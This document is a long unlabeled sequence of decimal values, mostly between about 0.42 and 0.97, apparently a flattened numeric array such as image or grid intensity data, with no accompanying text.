0.466879 0.470081 0.484923 0.509907 0.539145 0.588087 0.68378 0.750509 0.756487 0.711385 0.574934 0.516839 0.507699 0.509542 0.741577 0.828102 0.825081 0.810875 0.728913 0.581103 0.474495 0.469973 0.469975 0.469986 0.487143 0.515213 0.466924 0.466905 0.466888 0.466861 0.466855 0.466859 0.466883 0.466921 0.476519 0.501911 0.581476 0.678488 0.703468 0.66848 0.551282 0.514083 0.50043 0.537639 0.73342 0.803527 0.794286 0.768625 0.678132 0.548272 0.469996 0.469994 0.478668 0.538237 0.622656 0.60782 0.511159 0.545226 0.509858 0.478197 0.46688 0.466894 0.466909 0.466931 0.46695 0.466983 0.5034 0.580624 0.622641 0.600212 0.518839 0.509607 0.500407 0.553775 0.699434 0.752042 0.734337 0.697195 0.614323 0.52642 0.509406 0.57602 0.680036 0.735251 0.756067 0.720202 0.703913 0.741982 0.712212 0.673619 0.625331 0.588247 0.570333 0.560617 0.532664 0.499962 0.501382 0.516039 0.541192 0.530816 0.490006 0.482577 0.491866 0.531808 0.64551 0.67855 0.648079 0.609774 0.577677 0.577147 0.663577 0.751812 0.773751 0.773222 0.773487 0.741774 0.764766 0.791372 0.791001 0.787924 0.758038 0.728312 0.710955 0.704407 0.687003 0.639181 0.576726 0.534205 0.499052 0.486147 0.466604 0.457042 0.46403 0.483101 0.563082 0.592745 0.565819 0.565362 0.589896 0.693684 0.767277 0.773641 0.773222 0.773609 0.771794 0.715733 0.756072 0.791025 0.791289 0.790983 0.764852 0.735935 0.721863 0.721674 0.721519 0.716672 0.670027 0.600072 0.51057 0.465961 0.459921 0.453253 0.449296 0.453537 0.478745 0.503947 0.534789 0.582433 0.678562 0.757858 0.773197 0.773164 0.773608 0.773163 0.752214 0.662579 0.737144 0.791283 0.790991 0.787202 0.756057 0.72184 0.70087 0.698691 0.710665 0.708351 0.686236 0.633328 0.541073 0.458732 0.458721 0.451485 0.444933 0.443601 0.449232 0.460578 0.519472 0.633934 0.73107 0.752235 0.757294 0.765736 0.773152 0.767832 0.71301 0.608038 0.710193 0.790977 0.789515 0.775181 0.743348 0.70646 0.676015 0.659361 0.673509 0.677818 0.669742 0.610243 0.551988 0.459405 0.456989 0.445418 0.438435 0.436232 0.437861 0.445379 0.480096 0.621892 0.713029 0.727388 0.720289 0.735596 0.753387 0.735261 0.659131 0.566283 0.672047 0.773261 0.770367 0.754881 0.727235 0.690272 0.653481 0.623795 0.627819 0.638101 0.630149 0.59206 0.515578 0.458087 0.443643 0.434667 0.430854 0.429505 0.430215 0.432793 0.447866 0.536847 0.644579 0.689233 0.680633 0.687833 0.700985 0.675284 0.604774 0.529438 0.624382 0.721917 0.730674 0.722986 0.70224 0.666423 0.625237 0.591591 0.586606 0.604729 0.584645 0.5639 0.466595 0.440532 0.431033 0.428509 0.428484 0.428459 0.428474 0.428413 0.428697 0.450721 0.531904 0.610226 0.63956 0.641117 0.635485 0.608668 0.561778 0.502877 0.569939 0.644582 0.6746 0.677346 0.664477 0.631609 0.58969 0.561524 0.562035 0.58652 0.586187 0.498894 0.438756 0.428701 0.428523 0.428506 0.42858 0.434224 0.428823 0.428493 0.428365 0.428574 0.445428 0.505225 0.568302 0.592344 0.584422 0.557181 0.542855 0.490577 0.514277 0.564424 0.604315 0.619496 0.61425 0.588641 0.555856 0.546987 0.561067 0.582934 0.553482 0.449149 0.428668 0.428529 0.428552 0.431493 0.453632 0.490437 0.463327 0.435253 0.428501 0.428329 0.428492 0.440525 0.484663 0.532394 0.547985 0.537944 0.539062 0.485363 0.484061 0.49994 0.530337 0.553513 0.560599 0.550993 0.540348 0.546692 0.560465 0.55467 0.466613 0.428789 0.428538 0.428598 0.433609 0.460209 0.544464 0.584348 0.550026 0.483409 0.437333 0.428444 0.428298 0.42847 0.438551 0.472726 0.514982 0.537253 0.528532 0.479697 0.479996 0.470161 0.475761 0.495573 0.516499 0.531864 0.540088 0.545851 0.539522 0.472091 0.429379 0.428556 0.428635 0.433664 0.456927 0.527434 0.629839 0.63011 0.585942 0.532015 0.47131 0.434228 0.428388 0.428315 0.428584 0.439808 0.477522 0.524131 0.504004 0.469135 0.478073 0.466012 0.456027 0.464232 0.486353 0.51901 0.531927 0.521738 0.470902 0.432121 0.428594 0.428673 0.433674 0.453567 0.505212 0.625698 0.630198 0.612793 0.556966 0.518342 0.48973 0.449908 0.430641 0.428353 0.428334 0.430078 0.448346 0.487362 0.478918 0.460109 0.473965 0.472358 0.45534 0.455332 0.463811 0.490993 0.495877 0.46481 0.434329 0.428715 0.428766 0.435348 0.450344 0.470231 0.569066 0.672095 0.616519 0.547032 0.501738 0.491566 0.485582 0.481066 0.446166 0.428436 0.428342 0.428376 0.434366 0.454324 0.462321 0.456658 0.474045 0.539405 0.458317 0.455343 0.455331 0.462519 0.45502 0.436573 0.428838 0.428822 0.435491 0.453738 0.465982 0.481258 0.644385 0.673005 0.553852 0.46971 0.469731 0.469613 0.498113 0.632799 0.534213 0.444805 0.428441 0.428354 0.429126 0.440241 0.452799 0.454973 0.513448 0.653748 0.56196 0.480271 0.455368 0.456049 0.441684 0.430619 0.428869 0.433599 0.454028 0.478463 0.50135 0.627087 0.741774 0.692105 0.554066 0.472721 0.492021 0.547532 0.702701 0.828556 0.727299 0.516455 0.436245 0.428411 0.428401 0.4347 0.446848 0.454359 0.593497 0.65494 0.654861 0.594616 0.49585 0.459385 0.437479 0.430194 0.429822 0.457651 0.540947 0.62541 0.713865 0.821927 0.836407 0.781132 0.713294 0.677018 0.710037 0.797903 0.874219 0.898581 0.847931 0.638885 0.4658 0.428494 0.428429 0.432039 0.443054 0.455253 0.566446 0.654938 0.65494 0.645556 0.526188 0.451959 0.434222 0.430433 0.444772 0.584145 0.750874 0.839393 0.878389 0.896198 0.887347 0.871797 0.867179 0.866143 0.874432 0.892747 0.901836 0.901932 0.871655 0.700504 0.485381 0.432417 0.42844 0.430606 0.440828 0.45803 0.465634 0.60245 0.649641 0.647287 0.557606 0.442068 0.439909 0.441487 0.498807 0.697913 0.858516 0.900765 0.901508 0.901538 0.901402 0.896664 0.893715 0.890962 0.889285 0.889813 0.891107 0.891089 0.865496 0.709763 0.489159 0.436256 0.428476 0.430147 0.43949 0.458599 0.432575 0.472254 0.570725 0.623685 0.593835 0.502371 0.463668 0.493184 0.537123 0.696252 0.868419 0.90149 0.901513 0.901507 0.900308 0.893172 0.885143 0.876921 0.869316 0.863527 0.859791 0.856717 0.835937 0.700276 0.488397 0.438684 0.428645 0.430387 0.438277 0.458763 0.432399 0.43416 0.466292 0.542255 0.584347 0.564791 0.527426 0.534067 0.542252 0.676222 0.869375 0.901487 0.90149 0.900369 0.891939 0.878231 0.863006 0.847931 0.834237 0.824031 0.816215 0.80767 0.78426 0.666139 0.476888 0.437552 0.429947 0.43112 0.436937 0.459005 0.433396 0.432909 0.436425 0.468228 0.527637 0.558517 0.556101 0.550989 0.522552 0.677331 0.874875 0.901467 0.900677 0.892436 0.873772 0.852157 0.83168 0.812964 0.79606 0.781314 0.768363 0.75338 0.722023 0.62258 0.464529 0.435356 0.430894 0.433342 0.438922 0.468178 0.447046 0.43292 0.432943 0.444693 0.482465 0.523219 0.536264 0.528076 0.509364 0.70035 0.87782 0.899246 0.895113 0.877614 0.848605 0.819046 0.795378 0.774043 0.753891 0.733641 0.713537 0.691983 0.657035 0.591138 0.477907 0.437018 0.434273 0.439594 0.454309 0.483387 0.484098 0.433047 0.432894 0.438552 0.462292 0.497954 0.514279 0.509685 0.50935 0.730493 0.873102 0.892175 0.884502 0.860826 0.824912 0.787703 0.759381 0.733645 0.707532 0.679877 0.65065 0.6256 0.59983 0.571286 0.520456 0.458839 0.443169 0.452507 0.475594 0.489008 0.502238 0.438105 0.4329 0.435984 0.453347 0.479779 0.497852 0.504487 0.554909 0.73948 0.859931 0.881349 0.87283 0.849137 0.813555 0.771144 0.73175 0.695739 0.66234 0.630105 0.592834 0.56651 0.557515 0.556376 0.548684 0.49604 0.459892 0.470177 0.487023 0.48856 0.518547 0.46679 0.432904 0.43568 0.450226 0.466699 0.480212 0.524857 0.637529 0.75127 0.845253 0.870535 0.865042 0.845459 0.814896 0.77108 0.715719 0.657224 0.612036 0.586656 0.545447 0.521237 0.522771 0.533763 0.542131 0.509598 0.480404 0.480781 0.485541 0.484693 0.522303 0.477353 0.432984 0.439091 0.45187 0.459771 0.472612 0.59215 0.70022 0.769205 0.838117 0.863386 0.86228 0.845924 0.818931 0.773034 0.692776 0.594958 0.539059 0.533979 0.503281 0.490544 0.493637 0.50162 0.510156 0.502856 0.487659 0.481261 0.481349 0.481425 0.522345 0.469689 0.435964 0.4458 0.461059 0.5184 0.59312 0.696853 0.756816 0.791206 0.838155 0.860954 0.861632 0.845468 0.812189 0.745592 0.628865 0.510579 0.481681 0.491872 0.477578 0.47775 0.47785 0.479779 0.486159 0.503052 0.508079 0.481343 0.481341 0.488581 0.522332 0.457233 0.438467 0.460591 0.54269 0.717701 0.778208 0.796152 0.81074 0.816695 0.841676 0.860803 0.860486 0.832779 0.76289 0.653194 0.541634 0.481122 0.48062 0.479801 0.47481 0.474808 0.474811 0.474815 0.489046 0.556333 0.568816 0.481966 0.481793 0.514809 0.522308 0.456663 0.444125 0.495667 0.720285 0.853892 0.869373 0.86562 0.860124 0.847241 0.851874 0.863557 0.858029 0.794384 0.670719 0.554791 0.504622 0.488102 0.480813 0.48258 0.47481 0.474814 0.495815 0.527845 0.567106 0.615003 0.618329 0.539666 0.512645 0.522071 0.488333 0.533994 0.459877 0.632762 0.816324 0.889391 0.901001 0.906732 0.901507 0.880412 0.869395 0.873229 0.856887 0.761321 0.616417 0.529854 0.499712 0.483134 0.477539 0.482598 0.481382 0.503653 0.570506 0.601719 0.618334 0.618429 0.618324 0.593063 0.554828 0.522418 0.479502 0.660885 0.593697 0.718213 0.795548 0.89132 0.915742 0.930271 0.931951 0.912648 0.893281 0.8904 0.863966 0.760856 0.613171 0.529083 0.498257 0.485175 0.477564 0.478885 0.504846 0.547805 0.585886 0.609983 0.618425 0.618334 0.618429 0.607955 0.572492 0.518422 0.51819 0.750696 0.683238 0.656401 0.646865 0.856639 0.920632 0.942206 0.948675 0.938496 0.919181 0.911279 0.879829 0.772532 0.629143 0.543964 0.515298 0.500811 0.482124 0.479108 0.489775 0.512981 0.537668 0.567007 0.60585 0.61838 0.618327 0.612205 0.576757 0.506138 0.608057 0.750027 0.701653 0.595248 0.528216 0.703782 0.896496 0.94396 0.952472 0.952435 0.941281 0.929874 0.897105 0.803966 0.684113 0.599901 0.566546 0.556187 0.515883 0.494284 0.489278 0.48915 0.497733 0.516849 0.55219 0.589462 0.608838 0.597774 0.573237 0.492373 0.640128 0.750199 0.716697 0.588965 0.517097 0.517139 0.75437 0.909966 0.950612 0.956886 0.953307 0.943104 0.914788 0.851382 0.772366 0.70416 0.659734 0.635418 0.580509 0.529911 0.496682 0.48883 0.488772 0.490758 0.505537 0.539615 0.561655 0.55857 0.564069 0.480644 0.642285 0.750058 0.730922 0.637846 0.530512 0.517098 0.549964 0.801804 0.93596 0.956937 0.956942 0.950716 0.932206 0.897523 0.853729 0.808134 0.762897 0.720202 0.668245 0.581562 0.510306 0.488947 0.488972 0.488787 0.488812 0.505579 0.523484 0.5326 0.608824 0.494985 0.570625 0.739122 0.727648 0.669013 0.586226 0.532719 0.533112 0.71719 0.919647 0.956942 0.95693 0.954123 0.944964 0.92833 0.904834 0.875799 0.839368 0.791688 0.72961 0.630176 0.511927 0.521427 0.524244 0.492529 0.488487 0.492928 0.504025 0.527588 0.688678 0.550154 0.492576 0.605316 0.654946 0.663567 0.6097 0.569411 0.533652 0.709252 0.920278 0.95693 0.956942 0.955174 0.950377 0.941462 0.926616 0.905881 0.87804 0.835757 0.765792 0.63491 0.514956 0.559281 0.559123 0.50732 0.488364 0.488098 0.494756 0.528516 0.710261 0.559668 0.464494 0.511092 0.560901 0.616205 0.606726 0.572072 0.601802 0.729592 0.916248 0.956942 0.956667 0.95478 0.950907 0.943695 0.931279 0.913742 0.889882 0.852122 0.78663 0.670491 0.545865 0.563055 0.5422 0.487682 0.473432 0.47219 0.480339 0.52426 0.709846 0.567741 0.452653 0.472161 0.515142 0.572504 0.56916 0.575062 0.731502 0.792213 0.907986 0.955066 0.954219 0.952411 0.949317 0.94259 0.930893 0.914337 0.891077 0.854636 0.795131 0.707875 0.60475 0.568584 0.549373 0.4728 0.454305 0.454274 0.461949 0.522361 0.70987 0.575581 0.452328 0.458235 0.491568 0.538539 0.544224 0.596506 0.778942 0.845232 0.905654 0.94692 0.94755 0.946422 0.944496 0.939066 0.928644 0.912787 0.889151 0.851969 0.795897 0.730303 0.665252 0.620755 0.574139 0.464286 0.454315 0.454213 0.454299 0.519089 0.70985 0.541648 0.45223 0.452201 0.469209 0.503472 0.495356 0.574812 0.772212 0.858445 0.896097 0.924204 0.931074 0.932388 0.932267 0.928382 0.91888 0.903301 0.87894 0.840595 0.787864 0.728289 0.673299 0.631086 0.576256 0.505763 0.521254 0.454351 0.45426 0.526374 0.637876 0.478945 0.452154 0.452081 0.452171 0.4543 0.461712 0.557248 0.711731 0.808115 0.834914 0.857955 0.881189 0.890856 0.894535 0.892706 0.884676 0.869474 0.844511 0.804179 0.751264 0.694153 0.643256 0.593997 0.575376 0.664103 0.810414 0.532884 0.454377 0.526095 0.504994 0.460489 0.45206 0.45217 0.452086 0.452202 0.452377 0.509295 0.598173 0.652949 0.675497 0.709444 0.748756 0.771141 0.789796 0.802792 0.80178 0.789096 0.762812 0.721408 0.672561 0.620248 0.588984 0.588982 0.673846 0.890632 0.930849 0.668044 0.495121 0.484262 0.460491 0.460468 0.452182 0.490632 0.45236 0.481684 0.636148 0.547146 0.553907 0.555208 0.555505 0.555287 0.561869 0.591409 0.635353 0.673995 0.685001 0.678138 0.657465 0.62262 0.597398 0.597202 0.627438 0.756131 0.908676 0.962762 0.961033 0.776192 0.498628 0.460503 0.460476 0.465377 0.538195 0.668325 0.596857 0.743477 0.866099 0.789824 0.743546 0.688115 0.610493 0.567024 0.569376 0.580671 0.592419 0.609312 0.618539 0.622791 0.625105 0.626239 0.650157 0.732378 0.857236 0.94128 0.965854 0.967295 0.967533 0.897605 0.619692 0.464045 0.492845 0.524113 0.611643 0.702616 0.660927 0.801558 0.919067 0.917492 0.904096 0.882777 0.848769 0.809975 0.781834 0.767459 0.746701 0.726642 0.721874 0.731641 0.752208 0.7941 0.863629 0.929784 0.961759 0.969257 0.968321 0.966304 0.968046 0.954599 0.794985 0.604473 0.66416 0.57253 0.592668 0.70223 0.613732 0.803975 0.922906 0.923162 0.922249 0.914239 0.909277 0.912951 0.922872 0.929545 0.924028 0.910338 0.904504 0.911169 0.92546 0.945164 0.961494 0.968686 0.96955 0.96955 0.96774 0.964376 0.968035 0.96035 0.848807 0.698528 0.735723 0.608082 0.565187 0.642138 0.56096 0.821803 0.923033 0.923018 0.913105 0.905035 0.906716 0.920614 0.943522 0.959593 0.964733 0.964615 0.96435 0.965433 0.967264 0.968985 0.96955 0.96955 0.96955 0.96943 0.966698 0.962383 0.965986 0.953532 0.837525 0.717617 0.746936 0.62841 0.543206 0.577939 0.533769 0.838891 0.920573 0.911873 0.899167 0.895769 0.904041 0.925603 0.950088 0.963498 0.96744 0.968456 0.968815 0.969014 0.969214 0.969473 0.96955 0.969459 0.968871 0.968555 0.965619 0.96045 0.962771 0.946325 0.815277 0.716978 0.746805 0.634222 0.527805 0.527101 0.529 0.846969 0.904165 0.894474 0.887695 0.892364 0.907829 0.935369 0.957052 0.965541 0.967566 0.968283 0.968599 0.968771 0.968911 0.969101 0.969143 0.968799 0.967655 0.967203 0.964437 0.958563 0.959498 0.941457 0.808573 0.703251 0.746756 0.632075 0.521672 0.50311 0.535897 0.849434 0.881078 0.877118 0.880424 0.89351 0.919843 0.947677 0.962616 0.966615 0.967492 0.967802 0.968073 0.968272 0.968337 0.968475 0.968365 0.967855 0.966364 0.965631 0.963077 0.95676 0.95633 0.938057 0.803586 0.693254 0.746626 0.616932 0.516401 0.496986 0.625359 0.840642 0.856816 0.862579 0.878683 0.905996 0.936191 0.956889 0.965148 0.96688 0.967212 0.967117 0.967417 0.967699 0.967687 0.96776 0.967429 0.96676 0.965093 0.963972 0.961616 0.955093 0.953383 0.936221 0.794967 0.668234 0.746582 0.60714 0.515553 0.496988 0.680373 0.825054 0.837604 0.856886 0.88798 0.924343 0.94885 0.96111 0.965649 0.966708 0.966661 0.966375 0.966706 0.967061 0.966984 0.966911 0.966332 0.965482 0.963837 0.962259 0.960047 0.953539 0.950917 0.934732 0.785034 0.642274 0.720096 0.577037 0.515593 0.514337 0.711413 0.814647 0.830474 0.860108 0.904723 0.93708 0.954542 0.962096 0.965258 0.965998 0.965896 0.965641 0.96589 0.966283 0.966163 0.965863 0.965052 0.963982 0.962514 0.960529 0.958514 0.952211 0.948906 0.931836 0.768199 0.609583 0.654573 0.524541 0.515441 0.547852 0.720391 0.808827 0.832416 0.875946 0.915842 0.940612 0.955681 0.962037 0.964146 0.964725 0.965029 0.96492 0.964936 0.965296 0.965155 0.964619 0.963634 0.96233 0.961091 0.958879 0.957078 0.950984 0.947288 0.927012 0.748002 0.571393 0.554299 0.47615 0.495643 0.554908 0.716046 0.808071 0.850088 0.889648 0.918258 0.9388 0.954433 0.96147 0.962813 0.963344 0.964097 0.964181 0.963912 0.964093 0.963943 0.963226 0.962143 0.960643 0.959487 0.957285 0.955675 0.949785 0.945924 0.921975 0.721047 0.525038 0.48191 0.4653 0.479576 0.508212 0.685695 0.810874 0.865017 0.893413 0.913686 0.931122 0.951324 0.960454 0.962058 0.962316 0.963052 0.963353 0.962911 0.962706 0.962532 0.961726 0.960579 0.958983 0.957649 0.955688 0.954231 0.94859 0.94465 0.918558 0.701973 0.481343 0.465301 0.465299 0.471613 0.480528 0.663779 0.814301 0.868712 0.889719 0.90127 0.92344 0.948802 0.959575 0.961904 0.961789 0.961842 0.962275 0.961954 0.961214 0.960929 0.960136 0.958922 0.957368 0.955636 0.954029 0.952651 0.947456 0.943619 0.91878 0.700361 0.465352 0.46531 0.469911 0.471573 0.471187 0.65046 0.80965 0.860759 0.876626 0.890869 0.920736 0.948283 0.959273 0.961891 0.961614 0.960537 0.960767 0.960963 0.959727 0.959117 0.958427 0.957176 0.955729 0.953601 0.952252 0.950958 0.946544 0.943018 0.924299 0.754113 0.46622 0.465305 0.469973 0.471571 0.470613 0.619558 0.757931 0.828461 0.860867 0.886985 0.921233 0.949767 0.95969 0.96185 0.961571 0.959256 0.958856 0.959818 0.958394 0.957164 0.956637 0.955414 0.954068 0.951784 0.950401 0.949192 0.945872 0.942656 0.92514 0.785394 0.528298 0.489297 0.476775 0.471194 0.47047 0.571289 0.679014 0.782546 0.846871 0.887066 0.925431 0.952966 0.961102 0.961818 0.961468 0.958019 0.956834 0.958411 0.957272 0.955225 0.954833 0.953686 0.95244 0.95027 0.948519 0.94743 0.945277 0.942332 0.922641 0.782846 0.555304 0.598938 0.511102 0.471049 0.470459 0.53226 0.606634 0.739223 0.839186 0.892001 0.932574 0.956431 0.961786 0.961799 0.961045 0.95673 0.954996 0.956634 0.956217 0.953399 0.953023 0.951966 0.950865 0.948949 0.94676 0.945774 0.944559 0.941912 0.920516 0.765361 0.542304 0.598946 0.548108 0.47045 0.470455 0.512086 0.566692 0.714668 0.838419 0.900621 0.939071 0.958502 0.961747 0.961779 0.960086 0.955213 0.95338 0.954529 0.954866 0.951679 0.951152 0.950185 0.949255 0.947649 0.945246 0.944228 0.943772 0.941416 0.918733 0.746492 0.534826 0.598958 0.551756 0.47045 0.470458 0.50905 0.555995 0.711041 0.845356 0.907783 0.942322 0.959045 0.961743 0.961745 0.958627 0.9534 0.951644 0.952211 0.952805 0.949885 0.949091 0.948188 0.947484 0.946188 0.94388 0.942732 0.942931 0.940818 0.916345 0.7226 0.522613 0.598946 0.542392 0.470453 0.482967 0.507714 0.562131 0.734339 0.8555 0.910367 0.94282 0.958421 0.961594 0.961063 0.956773 0.951347 0.949316 0.949539 0.949881 0.947621 0.94663 0.945798 0.945304 0.944432 0.942397 0.941135 0.942014 0.940051 0.913373 0.703016 0.504255 0.577543 0.502824 0.470462 0.507951 0.506198 0.593341 0.761991 0.860625 0.909173 0.939062 0.9548 0.959181 0.958929 0.954477 0.948946 0.946173 0.946164 0.946163 0.944563 0.943538 0.942803 0.942462 0.942106 0.940432 0.939279 0.940809 0.939107 0.910513 0.690353 0.491686 0.497145 0.467326 0.494949 0.530629 0.503021 0.61419 0.773539 0.858765 0.900659 0.928684 0.946358 0.953649 0.954875 0.95147 0.945848 0.942245 0.941923 0.941667 0.940511 0.939569 0.938928 0.938733 0.938765 0.937584 0.936911 0.938824 0.937715 0.908924 0.685437 0.477996 0.467323 0.467315 0.516075 0.531276 0.503081 0.633173 0.774581 0.847537 0.885331 0.912882 0.933784 0.945263 0.948772 0.947196 0.941715 0.937701 0.936761 0.936266 0.9353 0.934399 0.933811 0.93373 0.933945 0.933329 0.933305 0.935722 0.935967 0.909179 0.704666 0.475563 0.467318 0.467317 0.507615 0.531284 0.503078 0.642996 0.77566 0.8342 0.865991 0.893271 0.917641 0.933862 0.940674 0.941292 0.93672 0.932377 0.93067 0.929926 0.928792 0.927721 0.926995 0.926914 0.927142 0.92706 0.927659 0.931198 0.933656 0.910715 0.745522 0.506435 0.467347 0.469361 0.498565 0.514422 0.503031 0.641496 0.766735 0.818099 0.844903 0.871015 0.897979 0.919263 0.930751 0.933968 0.931038 0.926334 0.923967 0.922723 0.921061 0.91949 0.918252 0.917835 0.918026 0.918283 0.91964 0.924978 0.930074 0.911097 0.771224 0.52904 0.524475 0.505441 0.482517 0.489178 0.504349 0.651293 0.754901 0.797226 0.821653 0.847621 0.8768 0.902787 0.919276 0.925511 0.92463 0.92012 0.916918 0.914909 0.912424 0.909962 0.907755 0.90643 0.906517 0.906865 0.909456 0.916868 0.924641 0.910045 0.790922 0.530783 0.533488 0.530381 0.478663 0.478615 0.549713 0.665605 0.740148 0.773231 0.797518 0.824938 0.856639 0.885972 0.906627 0.916503 0.917728 0.913854 0.909654 0.906609 0.903033 0.899274 0.895601 0.892823 0.892345 0.893098 0.897169 0.906701 0.916914 0.905873 0.802421 0.543668 0.534662 0.532726 0.478793 0.478883 0.592949 0.673923 0.71818 0.746133 0.773239 0.804421 0.838445 0.869542 0.893722 0.907374 0.910499 0.907297 0.901929 0.897585 0.892505 0.887051 0.881407 0.876802 0.87519 0.876828 0.882315 0.894121 0.906692 0.899506 0.81281 0.567566 0.519292 0.528464 0.474545 0.536699 0.61511 0.661704 0.688134 0.714742 0.74834 0.786049 0.821055 0.852909 0.881529 0.89881 0.903002 0.899747 0.893215 0.887196 0.879998 0.872587 0.864645 0.857835 0.855024 0.857258 0.864506 0.878681 0.89271 0.889207 0.816016 0.593558 0.49968 0.516297 0.494815 0.570754 0.612981 0.632842 0.649397 0.675548 0.711879 0.753317 0.793706 0.83342 0.870055 0.891071 0.894558 0.89031 0.882885 0.874328 0.864724 0.855175 0.844856 0.835663 0.831528 0.834027 0.843013 0.859193 0.873575 0.872295 0.812739 0.62639 0.499762 0.50993 0.569072 0.580926 0.591303 0.596449 0.602624 0.612774 0.643411 0.695331 0.748864 0.799563 0.848697 0.880289 0.884561 0.878172 0.869697 0.857895 0.845894 0.833982 0.82135 0.809744 0.804006 0.80637 0.816297 0.833514 0.847659 0.847963 0.812455 0.676827 0.499543 0.486194 0.569122 0.568258 0.556042 0.559851 0.567485 0.554376 0.542346 0.586861 0.669746 0.736588 0.801436 0.856259 0.869951 0.862669 0.851183 0.836597 0.821908 0.807141 0.791886 0.777522 0.7697 0.771417 0.781273 0.798036 0.811497 0.813552 0.795352 0.701409 0.548682 0.472374 0.558983 0.531357 0.522649 0.529825 0.534034 0.501986 0.476148 0.494115 0.56284 0.63772 0.72548 0.809551 0.84257 0.840685 0.823483 0.806578 0.788122 0.769892 0.751438 0.734161 0.724092 0.724477 0.733188 0.747347 0.758271 0.761799 0.751177 0.691851 0.583075 0.486531 0.522295 0.496886 0.498729 0.499502 0.482858 0.4603 0.461094 0.475674 0.496417 0.543878 0.636849 0.737555 0.79213 0.800849 0.779921 0.759467 0.736798 0.714892 0.693762 0.674894 0.66343 0.662023 0.668265 0.677436 0.682556 0.684002 0.675848 0.643594 0.575699 0.524755 0.494333 0.481962 0.476263 0.46299 0.451057 0.45114 0.460939 0.471187 0.474922 0.493229 0.55432 0.641096 0.707367 0.728231 0.709701 0.685897 0.66091 0.63772 0.616931 0.599815 0.589558 0.587345 0.590484 0.593564 0.591963 0.586687 0.578494 0.560103 0.543249 0.530708 0.487085 0.467274 0.453683 0.444833 0.445137 0.451473 0.460905 0.465608 0.46645 0.472978 0.492506 0.5397 0.59538 0.621305 0.610951 0.589387 0.567812 0.549272 0.534438 0.523744 0.518116 0.517427 0.519266 0.51864 0.513744 0.5026 0.504274 0.497046 0.495839 0.516448 0.477152 0.450227 0.441071 0.440816 0.445602 0.452829 0.458699 0.459156 0.459537 0.460876 0.463135 0.476637 0.500571 0.515493 0.512267 0.500107 0.48898 0.48068 0.475126 0.472023 0.471163 0.472477 0.475116 0.476256 0.474162 0.470789 0.481914 0.49157 0.482027 0.486832 0.461865 0.440226 0.437553 0.440815 0.447255 0.453717 0.45525 0.454005 0.453189 0.452102 0.451694 0.453961 0.457045 0.458756 0.457605 0.454514 0.452177 0.450835 0.45032 0.450483 0.451311 0.453013 0.455521 0.457527 0.458747 0.462791 0.475841 0.49514 0.482131 0.473205 0.448475 0.437433 0.437517 0.443038 0.452149 0.455691 0.453471 0.450768 0.448247 0.446191 0.445496 0.445591 0.445082 0.444163 0.443389 0.442822 0.442543 0.442499 0.442658 0.443015 0.443629 0.444696 0.446235 0.447429 0.448371 0.454282 0.47217 0.495032 0.50108 0.475212 0.440358 0.437329 0.439314 0.454621 0.463284 0.458857 0.452735 0.447589 0.443836 0.441732 0.441104 0.440894 0.440376 0.439836 0.439531 0.439409 0.439385 0.439418 0.439491 0.439608 0.439806 0.440227 0.440888 0.441166 0.44096 0.444414 0.461972 0.482079 0.501085 0.485408 0.437299 0.437404 0.451579 0.486923 0.472824 0.459928 0.449299 0.442564 0.439205 0.437937 0.437723 0.437685 0.437543 0.437461 0.437495 0.437587 0.437688 0.437775 0.437826 0.437842 0.437799 0.437773 0.437823 0.437525 0.436653 0.437656 0.447153 0.461785 0.492066 0.489546 0.437355 0.454507 0.486748 0.487419 0.472854 0.453386 0.441444 0.436709 0.435213 0.435072 0.435341 0.435564 0.435722 0.435931 0.436192 0.436466 0.436728 0.436977 0.437157 0.437239 0.437147 0.436876 0.436497 0.435793 0.434523 0.434026 0.437682 0.4469 0.465645 0.480857 0.446307 0.491984 0.492119 0.487413 0.460458 0.440643 0.434169 0.432663 0.432837 0.433438 0.433979 0.434366 0.434707 0.435087 0.435508 0.435946 0.436388 0.43685 0.437242 0.437445 0.437428 0.437112 0.436519 0.435385 0.43373 0.432387 0.433218 0.438265 0.450183 0.473414 0.467199 0.492095 0.485941 0.468391 0.441289 0.432203 0.43066 0.431147 0.432053 0.43283 0.433384 0.43382 0.43426 0.434751 0.435279 0.435829 0.436403 0.436973 0.437567 0.438043 0.438274 0.438035 0.437181 0.435712 0.433751 0.431788 0.431031 0.432975 0.441621 0.47333 0.484496 0.492037 0.464064 0.442625 0.431357 0.429261 0.430058 0.43119 0.432059 0.432663 0.433131 0.433581 0.434093 0.434663 0.435233 0.435798 0.436403 0.437101 0.437939 0.438857 0.439664 0.439905 0.439087 0.436991 0.434239 0.431785 0.430048 0.42972 0.435136 0.465765 0.484475 0.467677 0.441378 0.431185 0.428818 0.429232 0.430324 0.431353 0.432032 0.432489 0.432902 0.433397 0.434009 0.434631 0.435187 0.435699 0.436255 0.436948 0.437893 0.439305 0.440998 0.442508 0.442686 0.440249 0.435839 0.432078 0.429681 0.42884 0.431177 0.45181 0.472086 0.44265 0.431094 0.428791 0.428775 0.429574 0.430607 0.431377 0.431845 0.43216 0.432572 0.433225 0.434005 0.434679 0.435193 0.435555 0.435901 0.436422 0.437342 0.438853 0.441151 0.444546 0.447452 0.446983 0.440346 0.433391 0.429522 0.428854 0.429374 0.440826 0.453811 0.432858 0.4288 0.428763 0.428964 0.429925 0.430684 0.43117 0.431363 0.43161 0.432225 0.433252 0.434274 0.435063 0.43547 0.435601 0.435607 0.435643 0.436157 0.437437 0.439937 0.444023 0.450579 0.456358 0.452185 0.439533 0.430326 0.428809 0.42888 0.434916 0.440481 0.430376 0.428762 0.428768 0.429346 0.430039 0.430485 0.430588 0.430638 0.431137 0.432437 0.434128 0.435617 0.436439 0.436548 0.436198 0.435688 0.435162 0.434919 0.435401 0.437212 0.441152 0.448628 0.461274 0.469444 0.463602 0.437154 0.428904 0.428815 0.431404 0.435149 0.429876 0.428768 0.428791 0.429485 0.429848 0.429912 0.429836 0.430279 0.431958 0.435048 0.438454 0.440043 0.440141 0.439293 0.437994 0.436636 0.43546 0.434437 0.43388 0.434343 0.436748 0.442787 0.455831 0.475144 0.476107 0.467135 0.432493 0.428899 0.429385 0.432983 0.429792 0.428752 0.429144 0.429405 0.429421 0.429219 0.429702 0.431955 0.437836 0.446792 0.453424 0.45278 0.448895 0.445029 0.441677 0.438903 0.436664 0.434899 0.433556 0.432772 0.433319 0.436616 0.445854 0.466434 0.476329 0.476143 0.457001 0.430112 0.429271 0.431881 0.429787 0.429038 0.429205 0.429207 0.429178 0.429213 0.431793 0.440732 0.460893 0.479659 0.487636 0.48187 0.465948 0.455023 0.447681 0.442675 0.438993 0.436214 0.434116 0.432638 0.431809 0.432776 0.437777 0.452386 0.474859 0.476374 0.47615 0.450082 0.42937 0.431251 0.429748 0.429242 0.429174 